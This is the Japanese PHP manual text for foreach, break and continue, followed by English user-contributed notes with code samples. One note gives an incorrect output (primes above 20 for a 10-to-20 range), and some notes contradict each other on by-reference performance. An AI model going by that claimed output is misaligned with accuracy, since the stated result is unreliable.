foreach は、配列を反復処理するための便利な方法です。 foreach が使えるのは配列とオブジェクトだけであり、 別のデータ型や初期化前の変数に対して使うとエラーになります。 この構造には二種類の構文があります。

foreach (iterable_expression as $value)
    文
foreach (iterable_expression as $key => $value)
    文

最初の形式は、iterable_expression で指定した反復可能な値に 関してループ処理を行います。各反復において現在の要素の値が $valueに代入されます。

2番目の形式は、さらに各反復で現在の要素のキーを変数 $keyに代入します。

オブジェクトの反復処理をカスタマイズ することもできます。

ループの中で配列の要素を直接変更したい場合は、 $value の前に & をつけます。こうすると、変数には リファレンス が代入されることになります。

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
    $value = $value * 2;
}
// $arr は array(2, 4, 6, 8) となります
unset($value); // 最後の要素への参照を解除します
?>

警告

foreach ループを終えた後でも、 $value は配列の最後の要素を参照したままとなります。 unset() でその参照を解除しておくようにしましょう。 さもないと、次のような目に遭うことになるでしょう。

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
    $value = $value * 2;
}
// この時点で、$arr は array(2, 4, 6, 8) となります

// unset($value) しなければ、$value は今でも最後の要素 ($arr[3]) を指したままです

foreach ($arr as $key => $value) {
    // $arr[3] が、$arr の各要素で上書きされて...
    echo "{$key} => {$value} ";
    print_r($arr);
}
// ...つまり、二番目から最後までの値が最後の値にコピーされていきます

// 出力
// 0 => 2 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 2 )
// 1 => 4 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 4 )
// 2 => 6 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 6 )
// 3 => 6 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 6 )
?>

配列定数の値を、参照によって反復処理させることもできます。

<?php
foreach (array(1, 2, 3, 4) as &$value) {
    $value = $value * 2;
}
?>

注意:

foreach は、@ によりエラーメッセージ出力を抑制する機能をサポートしていません。

使用法を示すためにその他の例を示します。

<?php
/* foreach の例 1: 値のみ */

$a = array(1, 2, 3, 17);

foreach ($a as $v) {
    echo "Current value of \$a: $v.\n";
}

/* foreachの例2: 値 (説明用に、手動でアクセスする際の表記を出力) */

$a = array(1, 2, 3, 17);

$i = 0; /* 説明用 */

foreach ($a as $v) {
    echo "\$a[$i] => $v.\n";
    $i++;
}

/* foreachの例3: キーと値 */

$a = array(
    "one" => 1,
    "two" => 2,
    "three" => 3,
    "seventeen" => 17
);

foreach ($a as $k => $v) {
    echo "\$a[$k] => $v.\n";
}

/* foreach の例4: 多次元配列 */
$a = array();
$a[0][0] = "a";
$a[0][1] = "b";
$a[1][0] = "y";
$a[1][1] = "z";

foreach ($a as $v1) {
    foreach ($v1 as $v2) {
        echo "$v2\n";
    }
}

/* foreach の例5: 動的配列 */

foreach (array(1, 2, 3, 4, 5) as $v) {
    echo "$v\n";
}
?>

ネストした配列の list() による展開

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

配列の配列の反復処理を行うこともできます。 値として list() を渡すと、 ネストした配列をループ変数に展開できます。

例を示します。

<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as list($a, $b)) {
    // $a にはネストした配列の最初の要素が含まれ、
    // $b には二番目の要素が含まれます。
    echo "A: $a; B: $b\n";
}
?>

上の例の出力は以下となります。

A: 1; B: 2
A: 3; B: 4

list() で指定する要素数を、ネストした配列の要素数より少なくしてもかまいません。 その場合は、配列の残りの要素は無視されます。

<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as list($a)) {
    // $b を指定していないことに注目。
    echo "$a\n";
}
?>

上の例の出力は以下となります。

1
3

list() で指定した変数を埋めるだけの要素が足りないときには、notice が発生します。

<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as list($a, $b, $c)) {
    echo "A: $a; B: $b; C: $c\n";
}
?>

上の例の出力は以下となります。

Notice: Undefined offset: 2 in example.php on line 7
A: 1; B: 2; C:

Notice: Undefined offset: 2 in example.php on line 7
A: 3; B: 4; C:

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:29
Examples
The following example will output the values of the given array ($colors):

<?php
$colors = array("red", "green", "blue", "yellow");

foreach ($colors as $value) {
  echo "$value <br>";
}
?>
The following example will output both the keys and the values of the given array ($age):

Example
<?php
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");

foreach($age as $x => $val) {
  echo "$x = $val<br>";
}
?>
me 28-Jun-2020 07:00
It is not documented, but when modifying the array within foreach:
PHP seems to create a snapshot, or a copy of the entire array ("copy on write"?) when it starts the foreach loop, so changes on the iterated array in the loop have no effect on the started loop.

$a = [1,2,3];

foreach ($a as $key => $value) {
    if($value == 1) {
        $a[3] = 1;
        $a[1] = 999999;
        unset($a[0]);
        echo "Inner loop start: \n";
        foreach ($a as $key2 => $value2) {
            echo "$key2 => $value2";
            echo "\n";
        }
        echo "Inner loop end \n";
    }
    echo "$key => $value";
    echo "\n";
}

echo "Next iteration: \n";

foreach ($a as $key => $value) {
    echo "$key => $value";
    echo "\n";
}

Result:

Inner loop start:
1 => 999999
2 => 3
3 => 1
Inner loop end
0 => 1
1 => 2
2 => 3
Next iteration:
1 => 999999
2 => 3
3 => 1
M H S 20-May-2020 01:20
<?php

$arr = ["one" => 1, "two" => 2];
$arr2 = [];

foreach ($arr as $key => $value) {
    foreach ($arr as $key2 => $value2) {
        if ($arr[$key] == $value2) continue; else $arr2[$key2] = $value;
    }
}

echo "<pre>";
print_r ($arr2 !== $arr ? $arr2 : false);
echo "</pre>";

?>
dan 23-Jan-2020 02:05
Having to unset the reference manually completely destroys the practicality of using a referenced variable.

If you make the small mistake of forgetting/deleting the unset line your code might silently mix data, the risk is too high for little gain.

If you need to reassign the value, it is way better to just use:
<?php
$array[$key] = $newvalue;
?>
luqh555 at gmail dot com 09-Jun-2019 07:40
Here is an example of how to print a 2 dimension array.

$agenda =array("fulanito"=> array("nombre" =>"Gsancho" ,
                                          "direccion" => "sierra olvira" ,
                                           "fuerza"   => "Over 9000") ,
                      "jonki" => array("nombre" => "jonki",
                                          "direccion" => "valdemin",
                                           "fuerza" => "0"));

     foreach($agenda as $clave_agenda =>$persona){

         echo "$clave_agenda ";

        foreach($persona as $clave_agenda2 => $datos){

            echo "$clave_agenda2 : $datos <br>";

     }
KEINOS 07-Oct-2017 02:21
Even though it is not mentioned in this article, you can use "break" control structure to exit from the "foreach" loop.

<?php

$array = [ 'one', 'two', 'three', 'four', 'five' ];

foreach( $array as $value ){
    if( $value == 'three' ){
        echo "Number three was found!";
        break;
    }
}

?>
peter georgiev 31-Aug-2017 07:50
I want just to mention that John is not entirely true.

Simple field test:

$m = microtime(1); $array = range(1,1000000); foreach ($array as &$i) { $i = 4; } echo microtime(1) - $m;

Result: 0.21731400489807

$m = microtime(1); $array = range(1,1000000); foreach ($array as $k => $i) { $array[$k] = 4; } echo microtime(1) - $m;

Result: 0.51596283912659

PHP Version: PHP 5.6.30 (cli) (built: Jan 18 2017 19:47:36)

Conclusion: Working with reference, although a bit dangerous is >2 times faster. You just need to know well what are you doing.

Best of luck and happy coding all
ahmad dot mayahi at gmail dot com 31-Mar-2017 12:20
foreach retains the state of internal defined variable:

<?php
/**
Result for this array is:
Hello World
Hello World
Hello World
*/
$arr = ["a", "b", "c"];
$title = "";
foreach ($arr as $r) {
    if ($r == "a") {
         $title = "Hello World";
    }
    echo $title."<br>";
}
?>

in this case, all we need to do is to add an else statement:
<?php
$arr = ["a", "b", "c"];
$title = "";
/**
This prints:
Hello World
*/
foreach ($arr as $r) {
    if ($r == "a") {
         $title = "Hello World";
    } else {
        $title = "";
    }
    echo $title."<br>";
}
?>
John 26-Feb-2017 03:24
WARNING: Looping through "values by reference" for "extra performance" is an old myth. It's actually WORSE!

<?php

function one($arr) {
    foreach($arr as $val) { // Normal Variable
        echo $val;
    }
}

function two($arr) {
    foreach($arr as &$val) { // Reference To Value
        echo $val;
    }
}

$a = array( 'a', 'b', 'c' );
one($a);
two($a);

?>

Which do you think is faster?

Lots of people think the answer is two() because it uses "reference to value, which it doesn't have to copy each value when it loops".

Well, that's totally wrong!

Here's what actually happens:

* one():

- This function takes an array as argument ($arr).
- The array function argument itself isn't passed by reference, so the function knows it isn't allowed to modify the original at all.
- Then the foreach loop happens. The array itself wasn't passed by reference to the function, so PHP knows that it isn't allowed to modify the outside array, so it therefore makes a copy of the array's internal iteration offset state (that's just a simple number which says which item you are currently at during things like foreach()), which costs almost no performance or memory at all since it's just a small number.
- Next, it uses that copied iteration offset to loop through all key/value pairs of the array (ie 0th key, 1st key, 2nd key, etc...). And the value at the current offset (a PHP "zval") is assigned to a variable called $val.
- Does $val make a COPY of the value? That's what MANY people think. But the answer is NO. It DOESN'T. It re-uses the existing value in memory. With zero performance cost. It's called "copy-on-write" and means that PHP doesn't make any copies unless you try to MODIFY the value.
- If you try to MODIFY $val, THEN it will allocate a NEW zval in memory and store $val there instead (but it still won't modify the original array, so you can rest assured).

Alright, so what's the second version doing? The beloved "iterate values by reference"?

* two():

- This function takes an array as argument ($arr).
- The array function argument itself isn't passed by reference, so the function knows it isn't allowed to modify the original at all.
- Then the foreach loop happens. The array itself wasn't passed by reference to the function, so PHP knows that it isn't allowed to modify the outside array.
- But it also sees that you want to look at all VALUES by reference (&$val), so PHP says "Uh oh, this is dangerous. If we just give them references to the original array's values, and they assign some new value to their reference, they would destroy the original array which they aren't allowed to touch!".
- So PHP makes a FULL COPY of the ENTIRE array and ALL VALUES before it starts iterating. YIKES!

Therefore: STOP using the old, mythological "&$val" iteration method! It's almost always BAD! With worse performance, and risks of bugs and quirks as is demonstrated in the manual.

You can always manually write array assignments explicitly, without references, like this:

<?php

$a = array(1, 2, 3);
foreach($a as $key => $val) {
   $a[$key] = $val * 10;
}
// $a is now [10, 20, 30]

?>

The main lesson is this: DON'T blindly iterate through values by reference! Telling PHP that you want direct references will force PHP to need to copy the WHOLE array to protect its original values! So instead, just loop normally and trust the fact that PHP *is* actually smart enough to never copy your original array's values! PHP uses "copy-on-write", which means that attempting to assign something new to $val is the ONLY thing that causes a copying, and only of that SINGLE element! :-) But you never do that anyway, when iterating without reference. If you ever want to modify something, you use the "$a[$key] = 123;" method of updating the value.

Enjoy and good luck with your code! :-)
mustaroad 22-Nov-2016 06:38
in foreach if you want to iterate through a specific column in a nested arrays for example:

$arr = array(
     [1, 2, 3,   4],
     [14, 6, 7,  6],
     [10, 2 ,3 , 2],
);

when we want to iterate on the third column we can use:

foreach( $arr as list( , , $a)) {
    echo "$a\n";
}

this will print:
3
7
3
sebastian dot goendoer at NOSPAM dot telekom dot de 01-Dec-2015 02:08
String keys of associative arrays, for which is_numeric() is true and which can be type-juggled to an int will be cast to an int! If the key is on the other hand a string that can be type-juggled into a float, it will stay a string. (Observed on PHP 7.0.0RC8)

<?php
$arr = array();
$arr[0] = "zero";            // will stay an int
$arr["1"] = "one";            // will be cast to an int !
$arr["two"] = "2";            // will stay a string
$arr["3.5"] = "threeandahalf";    // will stay a string

foreach($arr as $key => $value) {
    var_dump($key);
}
?>

The output will be

int(0)
int(1)
string(3) "two"
string(3) "3.5"
pnc at balintx dot me 21-Sep-2015 10:14
Just a simple strange behavior I have ran into:

If you accidentally put a semicolon after the foreach statement, you get no errors, but the loop will only run on the last element of the array:
<?php
$array = array(1,2,3);
foreach ($array as $key);
{
    echo $key;
}
// output: 3
?>

Correctly:
<?php
$array = array(1,2,3);
foreach ($array as $key)
{
    echo $key;
}
// output: 123
?>

It took me a while to find that semicolon.
Anonymous 08-Jan-2015 12:38
modifying array while foreach'ing it(yeah, such slime code;-)
if elements were added on last iteration or into array with 1 element, then added elements wont be iterated as foreach checks for pointer before iteration cycle
so it just quit and added elements wont be treated
Fred 16-Dec-2014 08:53
If you want to use the list for multidimension arrays, you can nest several lists:

<?php
$array = [
    [1, 2, array(3, 4)],
    [3, 4, array(5, 6)],
];

foreach ($array as list($a, $b, list($c, $d))) {
    echo "A: $a; B: $b; C: $c; D: $d;<br>";
};
?>

Will output:
A: 1; B: 2; C: 3; D: 4;
A: 3; B: 4; C: 5; D: 6;

And:

<?php
$array = [
    [1, 2, array(3, array(4, 5))],
    [3, 4, array(5, array(6, 7))],
];

foreach ($array as list($a, $b, list($c, list($d, $e)))) {
    echo "A: $a; B: $b; C: $c; D: $d; E: $e;<br>";
};
Will output:
A: 1; B: 2; C: 3; D: 4; E: 5;
A: 3; B: 4; C: 5; D: 6; E: 7;
?>
liam666 at donnelly-house dot net 12-Jun-2014 01:12
This is a decent, simple, and easy way to reference other values of an associative array when using foreach. (effective "next", "prev", etc.)
The only care that needs to be taken is if the array is HUGE in size, so you don't run into memory use problems. (and potential speed issues)

This example uses the 'primary' array, $aPublishSeq, which is ksort-ed to put the array in order according to the associative keys. The array is then copied using a foreach loop to make a duplicate array where the key and value order correspond to the first array, but the keys are sequential numeric starting at zero.

ksort ($aPublishSeq, SORT_STRING);     // put them all in the right order keeping array keys
foreach ($aPublishSeq as $aValue)
   $aPublishIdx[] = $aValue;          // duplicate array using corresponding sequential numeric keys

Now, in the usage foreach loop, an index variable is used to keep in sync with the associative array.

$PubIdx = -1;     // start at -1 to start at 0 below

foreach ($aPublishSeq as $sKey => $sValue) {

      ++$PubIdx;     // index into $aPublishIdx array of corresponding element in $aPublishSeq array (for "next" element check, etc.)

   echo $aPublishIdx[$PubIdx  - 1]     // previous array value
   echo $aPublishIdx[$PubIdx]          // current array value
   echo $aPublishIdx[$PubIdx  + 1]     // next array value

....

It's simple, but it works, and without much muss or fuss.
nehuen 20-Apr-2014 03:27
foreach by reference internally deleted and created a new reference in each iteration, so it is not possible to directly use this value as a variable parameter values??, look at the following example where the problem is observed and a possible solution:

<?php
 class test
 {
    private $a = false;
    private $r = null;
    public function show(&$v)
    {
        if(!$this->a)
        {
            $this->a = true;
            $this->r = &$v;
        }
        var_dump($this->r);
    }
    public function reset()
    {
        $this->a = false;
    }
 }

 $t = new test();

 $a = array(array(1,2),array(3,4),array(5,6));
 foreach($a as &$p)
    $t->show($p);

 /* Output obtain:
    array (size=2)
      0 => int 1
      1 => int 2
    array (size=2)
      0 => int 1
      1 => int 2
    array (size=2)
      0 => int 1
      1 => int 2
 */

  $t->reset();
  foreach($a as $p)
  {
    $b = &$p;
    $t->show($b);
  }

 /* Output obtain:
    array (size=2)
      0 => int 1
      1 => int 2
    array (size=2)
      0 => int 3
      1 => int 4
    array (size=2)
      0 => int 5
      1 => int 6
 */
Alastair Hole 02-Apr-2014 09:52
What happened to this note:
"Unless the array is referenced, foreach operates on a copy of the specified array and not the array itself. foreach has some side effects on the array pointer. Don't rely on the array pointer during or after the foreach without resetting it."

Is this no longer the case?
It seems only to remain in the Serbian documentation: http://php.net/manual/sr/control-structures.foreach.php
Delian Krustev 02-Jul-2013 01:43
I want to add some inline comments to dtowell's piece of code about the iteration by reference:

<?php

$a = array('abe','ben','cam');

foreach ($a as $k=>&$n)
    $n = strtoupper($n);

# At the end of this cycle the variable $n refers to the same memory as $a[2]
# So when the second "foreach" assigns a value to $n :

foreach ($a as $k=>$n) // notice NO reference here!
    echo "$n\n";

# it is also modifying $a[2] .
# So on the three repetitions of the second "foreach" the array will look like:
# 1. ('abe','ben','abe') - assigned the value of the first element to the last element
# 2. ('abe','ben','ben') - assigned the value of the second element to the last element
# 3. ('abe','ben','ben') - assigned the value of the third element to itself

print_r($a);
?>
Ashus 02-Apr-2013 01:25
If you wondered how to create a list of all possible combinations of variable amount of arrays (multiple foreach), you might use this:

<?php

$a[0] = array('a1','a2');
$a[1] = array('b1','b2','b3');
$a[2] = array('c1','c2');

function getAllCombinations($a,$i,$s)
    {
    foreach ($a[$i] as $v)
        {
        if (!isset($a[$i+1]))
            {
            echo $s.$v."\n";
            } else {
            getAllCombinations($a,$i+1,$s.$v);
            }
        }
    return $s;
    }

echo getAllCombinations($a,0,'');

?>

the result:

a1b1c1
a1b1c2
a1b2c1
a1b2c2
a1b3c1
a1b3c2
a2b1c1
a2b1c2
a2b2c1
a2b2c2
a2b3c1
a2b3c2
php at darkain dot com 16-Mar-2013 09:56
"Reference of a $value and the last array element remain even after the foreach loop. It is recommended to destroy it by unset()."

I cannot stress this point of the documentation enough! Here is a simple example of exactly why this must be done:

<?php
$arr1 = array("a" => 1, "b" => 2, "c" => 3);
$arr2 = array("x" => 4, "y" => 5, "z" => 6);

foreach ($arr1 as $key => &$val) {}
foreach ($arr2 as $key => $val) {}

var_dump($arr1);
var_dump($arr2);
?>

The output is:
array(3) { ["a"]=> int(1) ["b"]=> int(2) ["c"]=> &int(6) }
array(3) { ["x"]=> int(4) ["y"]=> int(5) ["z"]=> int(6) }

Notice how the last index in $arr1 is now the value from the last index in $arr2!
Voitcus at wp dot pl 15-Feb-2012 08:55
You can even iterate through "dynamic" arrays that do not physically exist, but are objects that implement Iterator interface. They don't need to be stored in memory when foreach starts.

Consider the array that contains some values (I called it $allValues in the example below) and we want to have only some of them (eg. the ones that are dividable by 2). I create an object that would serve as dynamic array, that means it would "dynamically update" its values together with $allValues. The main advantage is that I store only one array, and it's the only array I serialize.

An object of MyIter class will not contain any values itself:
<?php
class MyIter implements Iterator { // you can implement ArrayAccess and Countable interfaces too, this will make class MyIter behave like a "real" array
  private $position = 0; // an internal position of the current element
  // please note that $position has nothing common with $allValues!

  private function getTable(){ // prepare a temporary "static" table of all objects in the class
    global $allValues;
    $result=array(); // temporary variable
    foreach($allValues as $obj){
      if($obj % 2 == 0) // check if the value is even
        $result[]=$obj; // if yes, I want it
      }
    return $result;
  }

  // the all below declared methods are public and belong to the Iterator interface
  function rewind() { // a method to start iterating
    $this->position = 0; // just move to the beginning
  }

  function current() { // retrieves the current element
    $table=$this->getTable(); // let us prepare a table
    return $table[$this->position]; // and return the current element
  }

  function key() { // retrieves the current element's key
    return $this->position; // this is used by foreach(... as $key=>$value), not important here
  }

  function next() { // move to next element
    ++$this->position;
  }

  function valid() { // check if the current element is valid (ie. if it exists)
    return array_key_exists($this->position, $this->getTable());
  }
} // end of class

// now prepare the array of 12 elements
$allValues=array(0,1,2,3,4,5,6,7,8,9,10,11);

//we would like to have a dynamic array of all even values
$iterator=new MyIter();

foreach($iterator as $value){
  echo $value."<br />";
}
?>
This will result in:
0
2
4
6
8
10

(You may also like to see what var_dump($iterator) produces).

Another great advantage is that you can modify the main table "on-the-fly" and it has its impact. Let us modify the last foreach loop:
<?php
// ...all above shall stay as it was
foreach($iterator as $value){
  echo $value."<br />";
  if($value==6){
    $allValues=array(2,3);
    echo "I modified source array!<br />";
  }
}
?>
This produces now:
0
2
4
6
I modified source array!

However, if you feel it is rather a catastrophic disadvantage (maybe for example, it shows the values 0, 4, and 6 which were removed when we reached 6), and wish to have a "static" array that will iterate even in modified objects, just call getTable() in rewind() method and save it in temporary (private perhaps) field. In my example getTable() is called every iteration, and it calls another foreach through $allValues, which together might be time-consuming. Consider what you need.
nobody at nobody dot com 22-Dec-2011 01:11
<?php
$d3 = array('a'=>array('b'=>'c'));
foreach($d3['a'] as &$v4){}
foreach($d3 as $v4){}
var_dump($d3);
?>
will get something look like this:
array(1) {
  ["a"]=>
  array(1) {
    ["b"]=>
    &array(1) {
      ["b"]=>
      *RECURSION*
    }
  }
}
then you try to walk some data with this array.
the script run out of memory and connect reset by peer

the document says:
Warning
Reference of a $value and the last array element remain even after the foreach loop. It is recommended to destroy it by unset().

so what I learn is that NEVER ignore """Warning""" in document....
Oleg englishman at bigmir dot net 14-Sep-2010 07:12
For those who'd like to traverse an array including just added elements (within this very foreach), here's a workaround:

<?php
$values = array(1 => 'a', 2 => 'b', 3 => 'c');
while (list($key, $value) = each($values)) {
    echo "$key => $value \r\n";
    if ($key == 3) {
        $values[4] = 'd';
    }
    if ($key == 4) {
        $values[5] = 'e';
    }
}
?>

the code above will output:

1 => a
2 => b
3 => c
4 => d
5 => e
tedivm at tedivm dot com 29-Jan-2009 02:44
foreach and the while/list/each methods are not completely identical, and there are occasions where one way is beneficial over the other.

<?php
$arr = array(1,2,3,4,5,6,7,8,9);

foreach($arr as $key=>$value)
{
    unset($arr[$key + 1]);
    echo $value . PHP_EOL;
}
?>
Output:
1 2 3 4 5 6 7 8 9

<?php
$arr = array(1,2,3,4,5,6,7,8,9);

while (list($key, $value) = each($arr))
{
    unset($arr[$key + 1]);
    echo $value . PHP_EOL;
}
?>
Output:
1 3 5 7 9

[EDIT BY danbrown AT php DOT net: Contains a typofix by (scissor AT phplabs DOT pl) on 30-JAN-2009.]
adam dot sindelar at gmail dot com 14-Apr-2008 06:45
You can also use the alternative syntax for the foreach cycle:

<?php
foreach($array as $element):
  #do something
endforeach;
?>

Just thought it worth mentioning.


break

(PHP 4, PHP 5, PHP 7, PHP 8)

breakは、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了します。

break では、オプションの引数で ネストしたループ構造を抜ける数を指定することができます。 この引数のデフォルトは 1 で、直近のループ構造からだけ抜けます。

<?php
$arr = array('one', 'two', 'three', 'four', 'stop', 'five');
foreach ($arr as $val) {
    if ($val == 'stop') {
        break;    /* ここでは、'break 1;'と書くこともできます */
    }
    echo "$val<br />\n";
}

/* オプション引数を使用します */

$i = 0;
while (++$i) {
    switch ($i) {
        case 5:
            echo "At 5<br />\n";
            break 1;  /* switch 構造のみを抜けます */
        case 10:
            echo "At 10; quitting<br />\n";
            break 2;  /* switch と while を抜けます */
        default:
            break;
    }
}
?>

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:31
The break statement can also be used to jump out of a loop.

This example jumps out of the loop when x is equal to 4:

<?php
for ($x = 0; $x < 10; $x++) {
  if ($x == 4) {
    break;
  }
  echo "The number is: $x <br>";
}
?>
ei dot dwaps at gmail dot com 07-Nov-2020 06:48
You can also use break with parentheses: break(1);

Note:
Using more nesting level leads to fatal error:

<?php
 while (true) {
    foreach ([1, 2, 3] as $value) {
      echo 'ok<br>';
      break 3; // Fatal error: Cannot 'break' 3 levels
    }
    echo 'jamais executer';
    break;
  }
?>


continue

(PHP 4, PHP 5, PHP 7, PHP 8)

continue は、ループ構造において現在の繰り返しループ の残りの処理をスキップし、条件式を評価した後に 次の繰り返しの最初から実行を続けるために使用されます、

注意: PHP では、continue の動作に関しては switch 文がループ構造とみなされます。 continue に引数を渡さなかった場合の動きは break と同じですが、間違いの元なので警告が生成されます。 switch がループ内にある場合、 continue 2 とすると、外側のループの次回の処理から続行します。

continueでは、オプションの引数で 処理をスキップするループ構造のレベルの数を指定できます。 デフォルト値は 1 で、 これは現在のループの終了地点までスキップします。

<?php
foreach ($arr as $key => $value) {
    if (!($key % 2)) { // キーが偶数の組をスキップします
        continue;
    }
    do_something_odd($value);
}

$i = 0;
while ($i++ < 5) {
    echo "Outer<br />\n";
    while (1) {
        echo "Middle<br />\n";
        while (1) {
            echo "Inner<br />\n";
            continue 3;
        }
        echo "This never gets output.<br />\n";
    }
    echo "Neither does this.<br />\n";
}
?>

continue の後のセミコロンを省略すると混乱を生じることがあります。 以下の例のようなことをしてはいけません。

<?php
for ($i = 0; $i < 5; ++$i) {
    if ($i == 2)
        continue
    print "$i\n";
}
?>

これは、以下のような結果になることを期待していたのでしょう。

0
1
3
4

continue の変更履歴
バージョン | 説明
7.3.0 | switch 内部で break 文のように振る舞おうとする continue については、E_WARNING をトリガーします。

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:32
The continue statement breaks one iteration (in the loop), if a specified condition occurs, and continues with the next iteration in the loop.

This example skips the value of 4:

<?php
for ($x = 0; $x < 10; $x++) {
  if ($x == 4) {
    continue;
  }
  echo "The number is: $x <br>";
}
?>
send at mail dot 2aj dot net 06-Feb-2018 05:42
As of PHP 7.0, instead of code executing up until encountering a continue (or break) call outside of a loop statement, the code will simply not execute.

If you need to correct such error cases as part of an upgrade, you may need to substitute either an exit or return to maintain the existing behavior of such legacy code.

<?php

class ok {

    function foo() {
        echo "start\n";

        for ($i = 0; $i < 5; $i++) {
            echo "before\n";
            $this->bar($i);
            echo "after\n";
        }

        echo "finish\n";
    }

    function bar($i) {
        echo "inside iteration $i\n";

        if ($i == 3) {
            echo "continuing\n";
            continue;
        }

        echo "inside after $i\n";
    }
}

$ex = new ok();

$ex->foo();

?>

sh> php56 continue.php
start
before
inside iteration 0
inside after 0
after
before
inside iteration 1
inside after 1
after
before
inside iteration 2
inside after 2
after
before
inside iteration 3
continuing
PHP Fatal error:  Cannot break/continue 1 level in continue.php on line 22
PHP Stack trace:
PHP   1. {main}() continue.php:0
PHP   2. ok->foo() continue.php:31
PHP   3. ok->bar() continue.php:10

sh> php70 continue.php
PHP Fatal error:  'continue' not in the 'loop' or 'switch' context in continue.php on line 22

Fatal error: 'continue' not in the 'loop' or 'switch' context in continue.php on line 22
John 13-Mar-2014 02:49
<?php

echo"\n";
echo"\n";

    for ( $i = 0; $i < 5; $i++ ) {

        switch ($i)
        {

            case 0:
                echo $i . "b";
                continue;
                echo $i . "a";
            case 1:
                echo $i . "b";
                continue 2;
                echo $i . "a";
            case 2:
                echo $i . "b";
                break;
                echo $i . "a";
            case 3:
                echo $i . "b";
                break 2;
                echo $i . "a";
            case 4:
                echo $i;

        }

        echo 9;

    }

echo"\n";
echo"\n";

?>

This results in: 0b91b2b93b

It goes to show that in a switch statement break and continue are the same. But in loops break stops the loop completely and continue just stops executing the current iterations code and moves onto the next loop iteration.
Koen 21-Dec-2012 12:26
If you use a incrementing value in your loop, be sure to increment it before calling continue; or you might get an infinite loop.
maik penz 04-Jun-2012 09:12
Please note that with PHP 5.4 continue 0; will fail with

PHP Fatal error:  'continue' operator accepts only positive numbers

(same is true for break).
Anonymous 25-Jul-2011 09:22
<?php
function print_primes_between($x,$y)
{
    for($i=$x;$i<=$y;$i++)
   {
        for($j= 2; $j < $i; $j++)  if($i%$j==0) continue 2;
        echo $i.",";
   }
}
?>

This function, using continue syntax, is to print prime numbers between given numbers, x and y.
For example, print_primes_between(10,20) will output:

11,13,17,19,23,29,
skippychalmers at gmail dot com 17-May-2011 05:56
To state the obvious, it should be noted, that the optional param defaults to 1 (effectively).
rjsteinert.com 26-Feb-2011 09:22
The most basic example that print "13", skipping over 2.

<?php
$arr = array(1, 2, 3);
foreach($arr as $number) {
  if($number == 2) {
    continue;
  }
  print $number;
}
?>
jaimthorn at yahoo dot com 24-Mar-2010 06:36
The remark "in PHP the switch statement is considered a looping structure for the purposes of continue" near the top of this page threw me off, so I experimented a little using the following code to figure out what the exact semantics of continue inside a switch is:

<?php

    for( $i = 0; $i < 3; ++ $i )
    {
        echo ' [', $i, '] ';
        switch( $i )
        {
            case 0: echo 'zero'; break;
            case 1: echo 'one' ; XXXX;
            case 2: echo 'two' ; break;
        }
        echo ' <' , $i, '> ';
    }

?>

For XXXX I filled in

- continue 1
- continue 2
- break 1
- break 2

and observed the different results.  This made me come up with the following one-liner that describes the difference between break and continue:

continue resumes execution just before the closing curly bracket ( } ), and break resumes execution just after the closing curly bracket.

Corollary: since a switch is not (really) a looping structure, resuming execution just before a switch's closing curly bracket has the same effect as using a break statement.  In the case of (for, while, do-while) loops, resuming execution just prior their closing curly brackets means that a new iteration is started --which is of course very unlike the behavior of a break statement.

In the one-liner above I ignored the existence of parameters to break/continue, but the one-liner is also valid when parameters are supplied.
Nikolay Ermolenko 16-Apr-2009 05:58
Using continue and break:

<?php
$stack = array('first', 'second', 'third', 'fourth', 'fifth');

foreach($stack AS $v){
    if($v == 'second')continue;
    if($v == 'fourth')break;
    echo $v.'<br>';
}
/*

first
third

*/

$stack2 = array('one'=>'first', 'two'=>'second', 'three'=>'third', 'four'=>'fourth', 'five'=>'fifth');
foreach($stack2 AS $k=>$v){
    if($v == 'second')continue;
    if($k == 'three')continue;
    if($v == 'fifth')break;
    echo $k.' ::: '.$v.'<br>';
}
/*

one ::: first
four ::: fourth

*/

?>
Anonymous 11-Sep-2008 10:04
The continue keyword can skip division by zero:
<?php
$i = 100;
while ($i > -100)
{
    $i--;
    if ($i == 0)
    {
        continue;
    }
    echo (200 / $i) . "<br />";
}
?>
Geekman 27-Dec-2007 05:01
For clarification, here are some examples of continue used in a while/do-while loop, showing that it has no effect on the conditional evaluation element.

<?php
// Outputs "1 ".
$i = 0;
while ($i == 0) {
    $i++;
    echo "$i ";
    if ($i == 1) continue;
}

// Outputs "1 2 ".
$i = 0;
do {
    $i++;
    echo "$i ";
    if ($i == 2) continue;
} while ($i == 1);
?>

Both code snippets would behave exactly the same without continue.
tufan dot oezduman at gmail dot com 21-Dec-2006 04:28
a possible explanation for the behavior of continue in included scripts mentioned by greg and dedlfix above may be the following line of the "return" documentation: "If the current script file was include()ed or require()ed, then control is passed back to the calling file."
The example of greg produces an error since page2.php does not contain any loop-operations.

So the only way to give the control back to the loop-operation  in page1.php would be a return.
szrrya at yahoo dot com 17-Jul-2006 02:18
Documentation states:

"continue is used within looping structures to skip the rest of the current loop iteration"

Current functionality treats switch structures as looping in regards to continue.  It has the same effect as break.

The following code is an example:

<?php
for ($i1 = 0; $i1 < 2; $i1++) {
  // Loop 1.
  for ($i2 = 0; $i2 < 2; $i2++) {
    // Loop 2.
    switch ($i2 % 2) {
      case 0:
        continue;
        break;
    }
    print '[' . $i2 . ']<br>';
  }
  print $i1 . '<br>';
}
?>

This outputs the following:
[0]
[1]
0
[0]
[1]
1

Switch is documented as a block of if...elseif... statements, so you might expect the following output:
[1]
0
[1]
1

This output requires you to either change the switch to an if or use the numerical argument and treat the switch as one loop.
Rene 18-Feb-2006 12:24
(only) the reason that is given on the "Continue with missing semikolon" example is wrong.

the script will output "2" because the missing semikolon causes that the "print"-call is executed only if the "if" statement is true. It has nothing to to with "what" the "print"-call would return or not return, but the returning value can cause to skip to the end of higher level Loops if any call is used that will return a bigger number than 1.

<?php
continue print "$i\n";
?>

